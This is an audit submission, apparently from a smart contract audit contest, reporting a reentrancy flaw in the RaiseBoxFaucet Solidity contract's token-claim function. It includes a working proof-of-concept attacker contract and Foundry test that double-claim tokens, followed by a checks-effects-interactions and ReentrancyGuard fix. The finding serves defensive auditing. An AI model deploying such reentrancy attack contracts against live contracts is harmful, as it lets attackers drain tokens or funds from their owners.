Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability During Token Claim

Reentrancy Vulnerability During Token Claim

Description

  • The claimFaucetTokens function allows users to claim faucet tokens and optionally receive Sepolia ETH. Users can only claim once every 3 days, there's a daily limit of 100 total claims across all users, and first-time claimers receive both tokens and Sepolia ETH while repeat claimers only receive tokens


  • The claimFaucetTokens function performs an external ETH transfer before updating state variables, allowing reentrancy attacks where users can claim 2000 tokens instead of the intended 1000 tokens, bypassing the 3-day cooldown restriction.

function claimFaucetTokens() public {
//...existing code omitted for brevity...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// interaction allowing for reentrancy
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
//...existing code omitted for brevity...
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// vulnerable effects that occur after interaction
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • The vulnerability exists in the core public claimFaucetTokens function which is the primary user-facing function in the contract.

  • Any malicious contract containing a receive() or fallback() function can exploit this vulnerability.

Impact:

  • Users can claim 2000 tokens instead of 1000 tokens, effectively doubling their token allocation during the 3-day cooldown.

  • Unintended bypassing of 3-day cooldown.

  • Potential drain of contract's token supply if multiple users exploit this vulnerability.

  • Reentrancy can lead to other vulnerabilities.

Proof of Concept

The testReentrancyAttack test deploys a malicious contract that exploits the reentrancy vulnerability in claimFaucetTokens by calling the function again from its receive() function when it receives ETH. This test verifies that the attacker can successfully claim 2000 tokens instead of the intended 1000 tokens, demonstrating the bypass of the 3-day cooldown restriction.

Add the following contract and test to the RaiseBoxFaucet.t.sol file and run the test.

contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public count;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(payable(_faucet));
count = 0;
}
function attack() public {
faucet.claimFaucetTokens();
}
receive() external payable {
if(count < 1) {
count++;
faucet.claimFaucetTokens();
}
}
}
function testReentrancyAttack() public {
// instantiate new attacker
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raiseBoxFaucet));
// initial token balance
uint256 attackerInitialBalance = raiseBoxFaucet.getBalance(address(attacker));
console.log("Attacker initial token balance: %d", attackerInitialBalance);
// initiate attack
attacker.attack();
// token balance after attack
uint256 attackerFinalBalance = raiseBoxFaucet.getBalance(address(attacker));
console.log("Attacker final token balance: %d", attackerFinalBalance / 1e18);
// Verify the attacker reentered the contract
assertTrue((attackerFinalBalance / 1e18) == 2000, "Attacker should receive 2000 tokens exceeding the daily limit of 1000 tokens.");
}

Recommended Mitigation

Implement proper checks-effects-interactions (CEI) design pattern by moving the Sepolia ETH external call after all state variables are updated. This strategy is more gas efficient then Open Zeppelin's reentrancy guard.

Open Zeppelin's reentrancy guard was included as an optional strategy.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
faucetClaimer = msg.sender;
+ bool shouldReceiveEth = false;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ shouldReceiveEth = true;
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
+ if (shouldReceiveEth) {
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
+ emit Claimed(msg.sender, faucetDrip);
_transfer(address(this), faucetClaimer, faucetDrip);
- emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.